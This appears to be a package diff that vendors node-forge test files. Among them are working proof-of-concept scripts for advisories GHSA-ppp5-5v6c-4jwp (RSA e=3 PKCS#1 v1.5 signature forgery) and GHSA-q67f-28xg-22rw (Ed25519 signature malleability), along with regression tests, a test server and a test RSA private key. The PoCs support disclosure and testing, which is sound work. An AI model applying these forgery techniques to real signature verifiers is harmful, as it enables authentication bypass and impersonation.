pi-codex-auto-review 0.1.0

package/node_modules/node-forge/tests/pocs/ghsa-ppp5-5v6c-4jwp.js

@@ -0,0 +1,166 @@
+#!/usr/bin/env node
+'use strict';
+
+// Security Advisory PoC
+//
+// https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp
+//
+// This vulnerability was discovered as part of a U.C. Berkeley security
+// research project by: Austin Chu, Sohee Kim, and Corban Villa.
+//
+// Test vectors from this code were added in the RSA unit tests.
+
+const crypto = require('crypto');
+const forge = require('../../lib/index');
+
+// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
+// SEQUENCE {
+//   SEQUENCE { OID sha256, NULL },
+//   OCTET STRING <32-byte digest>
+// }
+// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
+const DIGESTINFO_SHA256_PREFIX = Buffer.from(
+  '300d060960864801650304020105000420',
+  'hex'
+);
+
+const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
+function toBuf(n, len) {
+  let h = n.toString(16);
+  if (h.length % 2) h = '0' + h;
+  const b = Buffer.from(h, 'hex');
+  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
+}
+function cbrtFloor(n) {
+  let lo = 0n;
+  let hi = 1n;
+  while (hi * hi * hi <= n) hi <<= 1n;
+  while (lo + 1n < hi) {
+    const mid = (lo + hi) >> 1n;
+    if (mid * mid * mid <= n) lo = mid;
+    else hi = mid;
+  }
+  return lo;
+}
+const cbrtCeil = n => {
+  const f = cbrtFloor(n);
+  return f * f * f === n ? f : f + 1n;
+};
+function derLen(len) {
+  if (len < 0x80) return Buffer.from([len]);
+  if (len <= 0xff) return Buffer.from([0x81, len]);
+  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
+}
+
+function forgeStrictVerify(publicPem, msg, sig) {
+  // Enable for debugging and test vector generation.
+  //console.log({
+  //  publicPem,
+  //  msg, msg.toString('hex'),
+  //  sig: sig.toString('hex')
+  //});
+
+  const key = forge.pki.publicKeyFromPem(publicPem);
+  const md = forge.md.sha256.create();
+  md.update(msg.toString('utf8'), 'utf8');
+  try {
+    // verify(digestBytes, signatureBytes, scheme, options):
+    // - digestBytes: raw SHA-256 digest bytes for `msg`
+    // - signatureBytes: binary-string representation of the candidate signature
+    // - scheme: undefined => default RSASSA-PKCS1-v1_5
+    // - options._parseAllDigestBytes: require DER parser to consume all bytes
+    //   (this is forge's default for verify; set explicitly here for clarity)
+    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
+  } catch (err) {
+    return { ok: false, err: err.message };
+  }
+}
+
+function main() {
+  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
+    modulusLength: 4096,
+    publicExponent: 3,
+    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
+    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
+  });
+
+  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
+  const nBytes = Buffer.from(jwk.n, 'base64url');
+  const n = toBig(nBytes);
+  const e = toBig(Buffer.from(jwk.e, 'base64url'));
+  if (e !== 3n) throw new Error('expected e=3');
+
+  const msg = Buffer.from('forged-message-0', 'utf8');
+  const digest = crypto.createHash('sha256').update(msg).digest();
+  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
+
+  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
+  const k = nBytes.length;
+  // ffCount can be set to any value at or below 111 and produce a valid signature.
+  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
+  // However, current versions of node forge do not check for this.
+  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
+  const ffCount = 0;
+  // `garbageLen` affects DER length field sizes, which in turn affect how
+  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
+  // A small cap (8) is enough here: DER length-size transitions are discrete
+  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
+  let garbageLen = 0;
+  for (let i = 0; i < 8; i += 1) {
+    const gLenEnc = derLen(garbageLen).length;
+    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
+    const seqLenEnc = derLen(seqLen).length;
+    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
+    const next = k - fixed;
+    if (next === garbageLen) break;
+    garbageLen = next;
+  }
+  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
+  const prefix = Buffer.concat([
+    Buffer.from([0x00, 0x01]),
+    Buffer.alloc(ffCount, 0xff),
+    Buffer.from([0x00]),
+    Buffer.from([0x30]), derLen(seqLen),
+    algAndDigest,
+    Buffer.from([0x04]), derLen(garbageLen)
+  ]);
+
+  // Build the numeric interval of all EM values that start with `prefix`:
+  // - `low`  = prefix || 00..00
+  // - `high` = one past (prefix || ff..ff)
+  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
+  const suffixLen = k - prefix.length;
+  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
+  const high = low + (1n << BigInt(8 * suffixLen));
+  const s = cbrtCeil(low);
+  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
+
+  const sig = toBuf(s, k);
+
+  const controlMsg = Buffer.from('control-message', 'utf8');
+  const controlSig = crypto.sign('sha256', controlMsg, {
+    key: privateKey,
+    padding: crypto.constants.RSA_PKCS1_PADDING
+  });
+
+  // forge verification calls (library under test)
+  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
+  const forgedForge = forgeStrictVerify(publicKey, msg, sig);
+
+  // Node.js verification calls (OpenSSL-backed reference behavior)
+  const controlNode = crypto.verify('sha256', controlMsg, {
+    key: publicKey,
+    padding: crypto.constants.RSA_PKCS1_PADDING
+  }, controlSig);
+  const forgedNode = crypto.verify('sha256', msg, {
+    key: publicKey,
+    padding: crypto.constants.RSA_PKCS1_PADDING
+  }, sig);
+
+  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
+  console.log('control-node:', controlNode);
+  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
+  console.log('forgery (node/OpenSSL):', forgedNode);
+}
+
+main();

package/node_modules/node-forge/tests/pocs/ghsa-q67f-28xg-22rw.js

@@ -0,0 +1,103 @@
+#!/usr/bin/env node
+'use strict';
+
+// Security Advisory PoC
+//
+// https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw
+//
+// This vulnerability was discovered as part of a U.C. Berkeley security
+// research project by: Austin Chu, Sohee Kim, and Corban Villa.
+//
+// Test vectors from this code were added in the ed25519 unit tests.
+
+const path = require('path');
+const crypto = require('crypto');
+const forge = require('../../lib/index');
+const ed = forge.ed25519;
+
+const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
+
+// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
+const ED25519_ORDER_L = Buffer.from([
+  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
+  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+]);
+
+// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
+// This returns a new signature with s := s + L (mod 2^256), plus the carry.
+function addLToS(signature) {
+  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
+    throw new Error('signature must be a 64-byte Buffer');
+  }
+  const out = Buffer.from(signature);
+  let carry = 0;
+  for (let i = 0; i < 32; i++) {
+    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
+    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
+    out[idx] = sum & 0xff;
+    carry = sum >> 8;
+  }
+  return { sig: out, carry };
+}
+
+function toSpkiPem(publicKeyBytes) {
+  if (publicKeyBytes.length !== 32) {
+    throw new Error('publicKeyBytes must be 32 bytes');
+  }
+  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
+  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
+  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
+  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
+  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
+  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
+  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
+}
+
+function verifyWithCrypto(publicKey, message, signature) {
+  try {
+    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
+    const ok = crypto.verify(null, message, keyObject, signature);
+    return { ok };
+  } catch (error) {
+    return { ok: false, error: error.message };
+  }
+}
+
+function toResult(label, original, tweaked) {
+  return {
+    [label]: {
+      original_valid: original.ok,
+      tweaked_valid: tweaked.ok,
+    },
+  };
+}
+
+function main() {
+  const kp = ed.generateKeyPair();
+  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
+  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
+  const tweaked = addLToS(sig);
+  const okTweaked = ed.verify({
+    message: MESSAGE,
+    signature: tweaked.sig,
+    publicKey: kp.publicKey,
+  });
+  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
+  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
+  const result = {
+    ...toResult('forge', { ok }, { ok: okTweaked }),
+    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
+  };
+  console.log(JSON.stringify(result, null, 2));
+  // enable for debugging on to make test vectors
+  //console.log({
+  //  message: MESSAGE.toString('hex'),
+  //  sig: sig.toString('hex'),
+  //  sigSplusL: tweaked.sig.toString('hex'),
+  //  pk: kp.publicKey.toString('hex')
+  //});
+}
+
+main();

package/node_modules/node-forge/tests/security/cve-2025-12816.js

@@ -0,0 +1,75 @@
+'use strict';
+
+var assert = require('assert');
+var md = require('../../lib/md');
+var pkcs12 = require('../../lib/pkcs12');
+var asn1 = require('../../lib/asn1');
+var pki = require('../../lib/pki');
+
+/**
+ * Build a minimal certificate-only PKCS#12 (PFX) with a MAC.
+ */
+function buildCertOnlyPfxWithMac(password) {
+  var keys = pki.rsa.generateKeyPair({bits: 1024, e: 0x10001});
+  var cert = pki.createCertificate();
+  cert.publicKey = keys.publicKey;
+  cert.serialNumber = '01';
+  cert.validity.notBefore = new Date();
+  cert.validity.notAfter = new Date();
+  cert.validity.notAfter.setFullYear(cert.validity.notBefore.getFullYear() + 1);
+  cert.setSubject([{name: 'commonName', value: 'p12-demo'}]);
+  cert.setIssuer([{name: 'commonName', value: 'p12-demo'}]);
+  cert.sign(keys.privateKey, md.sha256.create());
+
+  return pkcs12.toPkcs12Asn1(
+    null,
+    cert,
+    password,
+    {useMac: true, count: 2048, saltSize: 8}
+  );
+}
+
+/**
+ * Replace macData node with arbitrary junk.
+ */
+function corruptMacData(pfxAsn1) {
+  var clone = asn1.fromDer(asn1.toDer(pfxAsn1).getBytes());
+  // Replace 3rd element (macData) with garbage node
+  clone.value[2] = asn1.create(
+    asn1.Class.UNIVERSAL,
+    asn1.Type.OCTETSTRING,
+    false,
+    'JUNK'
+  );
+  return clone;
+}
+
+describe('PKCS#12 MAC corruption', function() {
+  var correctPw = 'correct-horse-battery-staple';
+  var wrongPw = 'wrong-password';
+  var legit;
+
+  before(function() {
+    legit = buildCertOnlyPfxWithMac(correctPw);
+  });
+
+  it('should accept valid PFX with correct password', function() {
+    assert.doesNotThrow(function() {
+      var obj = pkcs12.pkcs12FromAsn1(legit, true, correctPw);
+      assert(obj, 'pkcs12FromAsn1 should return an object');
+    });
+  });
+
+  it('should reject valid PFX with wrong password (MAC mismatch)', function() {
+    assert.throws(function() {
+      pkcs12.pkcs12FromAsn1(legit, true, wrongPw);
+    }, /PKCS#12 MAC could not be verified. Invalid password?/);
+  });
+
+  it('should reject tampered PFX with corrupted macData', function() {
+    var tampered = corruptMacData(legit);
+    assert.throws(function() {
+      pkcs12.pkcs12FromAsn1(tampered, true, wrongPw);
+    }, /Invalid PKCS#12. macData field present but MAC was not validated./);
+  });
+});

package/node_modules/node-forge/tests/security/ghsa-554w-wpv2-vw27.js

@@ -0,0 +1,81 @@
+/*
+ * Regression Test for GHSA-554w-wpv2-vw27
+ * Verifies that the parser enforces a maximum recursion depth
+ * instead of crashing with a call stack overflow.
+ */
+var assert = require('assert');
+var asn1 = require('../../lib/asn1');
+var util = require('../../lib/util');
+
+describe('GHSA-554w-wpv2-vw27 Security Patch', function() {
+
+  function createNestedDer(depth) {
+    var obj = asn1.create(asn1.Class.UNIVERSAL, asn1.Type.INTEGER, false, '\x00');
+    for(var i = 0; i < depth; i++) {
+      obj = asn1.create(asn1.Class.UNIVERSAL, asn1.Type.SEQUENCE, true, [obj]);
+    }
+    return asn1.toDer(obj).getBytes();
+  }
+
+  beforeEach(function() {
+    // check max depth is the default
+    assert.equal(asn1.maxDepth, 256);
+  });
+
+  it('should throw a manageable error when default recursion depth is exceeded', function() {
+    // create a payload just above the default limit (256)
+    var DANGEROUS_DEPTH = 257;
+    var der = createNestedDer(DANGEROUS_DEPTH);
+    var buf = util.createBuffer(der);
+
+    // assert that it throws the correct error
+    assert.throws(function() {
+      asn1.fromDer(buf, {strict: true});
+    }, /ASN.1 parsing error: Max depth exceeded./);
+  });
+
+  it('should throw a manageable error when optional recursion depth is exceeded', function() {
+    // create a payload just above the optional defined limit (128)
+    var DANGEROUS_DEPTH = 129;
+    var der = createNestedDer(DANGEROUS_DEPTH);
+    var buf = util.createBuffer(der);
+
+    // assert that it throws the correct error
+    assert.throws(function() {
+      asn1.fromDer(buf, {strict: true, maxDepth: 128});
+    }, /ASN.1 parsing error: Max depth exceeded./);
+  });
+
+  it('should still parse valid nested structures with new default limits', function() {
+    var oldMaxDepth = asn1.maxDepth;
+    asn1.maxDepth = 258;
+
+    // create a payload just above the default limit (256)
+    var DANGEROUS_DEPTH = 257;
+    var der = createNestedDer(DANGEROUS_DEPTH);
+    var buf = util.createBuffer(der);
+
+    // verify with new default depth
+    asn1.fromDer(buf, {strict: true});
+
+    asn1.maxDepth = oldMaxDepth;
+  });
+
+  it('should still parse valid nested structures within default limits', function() {
+    // verify we didn't break default depth functionality
+    var SAFE_DEPTH = 20;
+    var der = createNestedDer(SAFE_DEPTH);
+    var buf = util.createBuffer(der);
+
+    asn1.fromDer(buf, {strict: true});
+  });
+
+  it('should still parse valid nested structures within optional limits', function() {
+    // verify we didn't break optional depth functionality
+    var SAFE_DEPTH = 20;
+    var der = createNestedDer(SAFE_DEPTH);
+    var buf = util.createBuffer(der);
+
+    asn1.fromDer(buf, {strict: true, maxDepth: 128});
+  });
+});

package/node_modules/node-forge/tests/security/index.js

@@ -0,0 +1,3 @@
+// tests related to security, vulnerability reports, etc
+require('./cve-2025-12816.js');
+require('./ghsa-554w-wpv2-vw27.js');

package/node_modules/node-forge/tests/server.crt

@@ -0,0 +1,26 @@
+-----BEGIN CERTIFICATE-----
+MIIEaDCCA1CgAwIBAgIJAJuj0AjEWncuMA0GCSqGSIb3DQEBBQUAMH8xCzAJBgNV
+BAYTAlVTMREwDwYDVQQIEwhWaXJnaW5pYTETMBEGA1UEBxMKQmxhY2tzYnVyZzEd
+MBsGA1UEChMURGlnaXRhbCBCYXphYXIsIEluYy4xGjAYBgNVBAsTEUZvcmdlIFRl
+c3QgU2VydmVyMQ0wCwYDVQQDEwR0ZXN0MB4XDTEwMDcxMzE3MjAzN1oXDTMwMDcw
+ODE3MjAzN1owfzELMAkGA1UEBhMCVVMxETAPBgNVBAgTCFZpcmdpbmlhMRMwEQYD
+VQQHEwpCbGFja3NidXJnMR0wGwYDVQQKExREaWdpdGFsIEJhemFhciwgSW5jLjEa
+MBgGA1UECxMRRm9yZ2UgVGVzdCBTZXJ2ZXIxDTALBgNVBAMTBHRlc3QwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCm/FobjqK8CVP/Xbnpyhf1tpoyaiFf
+ShUOmlWqL5rLe0Q0dDR/Zur+sLMUv/1T4wOfFkjjxvZ0Sk5NIjK3Wy2UA41a+M3J
+RTbCFrg4ujsovFaD4CDmV7Rek0qJB3m5Gp7hgu5vfL/v+WrwxnQObNq+IrTMSA15
+cO4LzNIPj9K1LN2dB+ucT7xTQFHAfvLLgLlCLiberoabF4rEhgTMTbmMtFVKSt+P
+xgQIYPnhw1WuAvE9hFesRQFdfARLqIZk92FeHkgtHv9BAunktJemcidbowTCTBaM
+/njcgi1Tei/LFkph/FCVyGER0pekJNHX626bAQSLo/srsWfmcll9rK6bAgMBAAGj
+geYwgeMwHQYDVR0OBBYEFCau5k6jxezjULlLuo/liswJlBF8MIGzBgNVHSMEgasw
+gaiAFCau5k6jxezjULlLuo/liswJlBF8oYGEpIGBMH8xCzAJBgNVBAYTAlVTMREw
+DwYDVQQIEwhWaXJnaW5pYTETMBEGA1UEBxMKQmxhY2tzYnVyZzEdMBsGA1UEChMU
+RGlnaXRhbCBCYXphYXIsIEluYy4xGjAYBgNVBAsTEUZvcmdlIFRlc3QgU2VydmVy
+MQ0wCwYDVQQDEwR0ZXN0ggkAm6PQCMRady4wDAYDVR0TBAUwAwEB/zANBgkqhkiG
+9w0BAQUFAAOCAQEAnP/2mzFWaoGx6+KAfY8pcgnF48IoyKPx5cAQyzpMo+uRwrln
+INcDGwNx6p6rkjFbK27TME9ReCk+xQuVGaKOtqErKECXWDtD+0M35noyaOwWIFu2
+7gPZ0uGJ1n9ZMe/S9yZmmusaIrc66rX4o+fslUlH0g3SrH7yf83M8aOC2pEyCsG0
+mNNfwSFWfmu+1GMRHXJQ/qT8qBX8ZPhzRY2BAS6vr+eh3gwXR6yXLA8Xm1+e+iDU
+gGTQoYkixDIL2nhvd4AFFlE977BiE+0sMS1eJKUUbQ36MLAWb5oOZKHrphEvqMKA
+eGDO3qoDqB5TkZC3x38DXBDvAZ01d9s0fvveag==
+-----END CERTIFICATE-----

package/node_modules/node-forge/tests/server.js

@@ -0,0 +1,87 @@
+/**
+ * Forge test server.
+ *
+ * @author Dave Longley
+ * @author David I. Lehn
+ *
+ * Copyright (c) 2010-2016 Digital Bazaar, Inc.
+ */
+const express = require('express');
+const fs = require('fs');
+const http = require('http');
+const https = require('https');
+const path = require('path');
+const program = require('commander');
+const policyServer = require('../flash/policyserver');
+
+program
+  //.option('--host [host]',
+  //  'host to bind to [localhost]')
+  .option('--http-port [port]',
+    'port for HTTP [19400]', 19400)
+  .option('--https-port [port]',
+    'port for HTTPS [19443]', 19443)
+  .option('--policy-port [port]',
+    'port for policy files [19945]', 19945)
+  .parse(process.argv);
+
+function contentServer(callback) {
+  let app = express();
+
+  // forge
+  app.use('/forge', express.static(path.join(__dirname, '..', 'dist')));
+  app.use('/support', express.static(path.join(__dirname, 'support')));
+  app.use('/issues', express.static(path.join(__dirname, 'issues')));
+
+  // unit tests support
+  app.use('/mocha',
+    express.static(path.join(__dirname, '..', 'node_modules', 'mocha')));
+
+  // legacy tests support
+  app.use('/forge/SocketPool.swf',
+    express.static(path.join(
+      __dirname, '..', 'flash', 'swf', 'SocketPool.swf')));
+  app.use('/forge/prime.worker.js',
+    express.static(path.join(__dirname, '..', 'dist', 'prime.worker.js')));
+  app.use('/result.txt',
+    express.static(path.join(__dirname, 'legacy', 'result.txt')));
+
+  // main
+  app.get(/^\//, express.static(path.join(__dirname)));
+
+  const httpsOptions = {
+    key: fs.readFileSync(path.join(__dirname, 'server.key')),
+    cert: fs.readFileSync(path.join(__dirname, 'server.crt')),
+    sessionIdContext: 'forgetest'
+  };
+
+  let httpServer = http
+    .createServer(app)
+    .listen(program.httpPort, () => {
+      console.log(
+        '[http-server] listening: http://localhost:' +
+        httpServer.address().port + '/');
+    });
+
+  const tlsSessionStore = {};
+  let httpsServer = https
+    .createServer(httpsOptions, app)
+    .on('newSession', (id, data, cb) => {
+      //console.log('[https-server] new session: ' + id.toString('hex'));
+      tlsSessionStore[id.toString('hex')] = data;
+      cb();
+    })
+    .on('resumeSession', (id, cb) => {
+      //console.log('[https-server] resume session: ' + id.toString('hex'));
+      cb(null, tlsSessionStore[id.toString('hex')] || null);
+    });
+  httpsServer.listen(program.httpsPort, () => {
+    console.log(
+      '[https-server] listening: https://localhost:' +
+      httpsServer.address().port + '/');
+  });
+}
+
+// start servers
+contentServer();
+policyServer.policyServer(program.policyPort);

package/node_modules/node-forge/tests/server.key

@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEApvxaG46ivAlT/1256coX9baaMmohX0oVDppVqi+ay3tENHQ0
+f2bq/rCzFL/9U+MDnxZI48b2dEpOTSIyt1stlAONWvjNyUU2wha4OLo7KLxWg+Ag
+5le0XpNKiQd5uRqe4YLub3y/7/lq8MZ0DmzaviK0zEgNeXDuC8zSD4/StSzdnQfr
+nE+8U0BRwH7yy4C5Qi4m3q6GmxeKxIYEzE25jLRVSkrfj8YECGD54cNVrgLxPYRX
+rEUBXXwES6iGZPdhXh5ILR7/QQLp5LSXpnInW6MEwkwWjP543IItU3ovyxZKYfxQ
+lchhEdKXpCTR1+tumwEEi6P7K7Fn5nJZfayumwIDAQABAoIBAFGPbEuNbXq+a6KN
+GuNP7Ef9em8pW0d5nbNWOoU3XzoH6RZds86ObDUeBTobVBaHCRvI/K0UXwgJyxjt
+nSvlguuKmJ5Ya9rkzYwbILvEamTJKNCcxjT7nYOcGYm4dwGsOPIYy3D006LYhh04
+MTNig6zessQcZUhtmjd1QRyMuPP4PaWVO79ic01jxZR/ip6tN/FjCYclPRi/FRi8
+bQVuGEVLW2qHgQbDKPpcXFyFjIqt7c9dL97/3eeIDp+SgdQ6bPi80J7v9p2MRyBP
+7OPhX8ZDsAiZr4G4N0EbEzmWWpVSjAI3Nlmk8SLT4lu42KKyoZLtuKPjEOVI3/TR
+0ktsc/ECgYEA27AHLnsv07Yqe7Z2bmv+GP8PKlwrPSHwqU/3Z5/1V590N+jo15N4
+lb7gvBUwwvXIxQQQVYJqRimqNQYVfT6+xRtQdtdqInxv2hvhc/cKPEiIHNpRh7OI
+w7I59yNMlCnqLeRBiCOmd7ruCWoMGw+VLhsyArwUTXuqUK2oYN9qWm8CgYEAwpZF
+XNm8xCFa+YeqP+WQzwK/0yUxHmYZs7ofh9ZIgHtqwHNKO/OA8+nGsZBaIl5xiyT4
+uZ/qZi2EkYzOmx0iSathiWQpSyc9kB+nOTdMHyhBOj8CgbTRRXIMjDQ6bz78Z09F
+Nxenhwk2gSVr3oB2FG/BWc1rlmVlmGJIIX3QtJUCgYBfLhLOdpywExqw4srI6Iz8
+c3U0mx44rD3CfVzpTopTXkhR+Nz4mXIDHuHrWxr3PNmxUiNpiMlWgLK3ql0hGFA6
+wazI8GeRbWxgiPfS8FNE7v/Z0FTGgGhesRcgFfEVuFs3as9hlmCHOzvqZEG+b6/o
+e+vc93OsZknSDosG/YTsjQKBgHrb7HGinLftI4a3rLvpU1QRNVK4gdnit0muM6hN
+mLtesVlPschGh935ddW5Ad//Z4tmTZDOMm5PQQuxLuXrMDH5fn0D+7qSzSEJi0jp
+7Csj/IMtM4T3yMYjK17+vwJsb2s/NsGBMupk28ARA5mZ3HQs15S+ybZM0Se0rjxP
+Nw49AoGBAKrLTOtZta0DSGt7tURwQK1mERuGM8ZZdXjvIVTJIIknohD2u3/T+O4+
+ekFTUd6GQKOFd/hZ52t4wcRs7c7KE1Xen7vRHc8c6c3TkF9ldpLmK2AWT8WifQO6
+9Fjx2Wf8HM+CbrokQYH/OHSV9Xft8BRTOPHGUJlp1UsYikSwp4fW
+-----END RSA PRIVATE KEY-----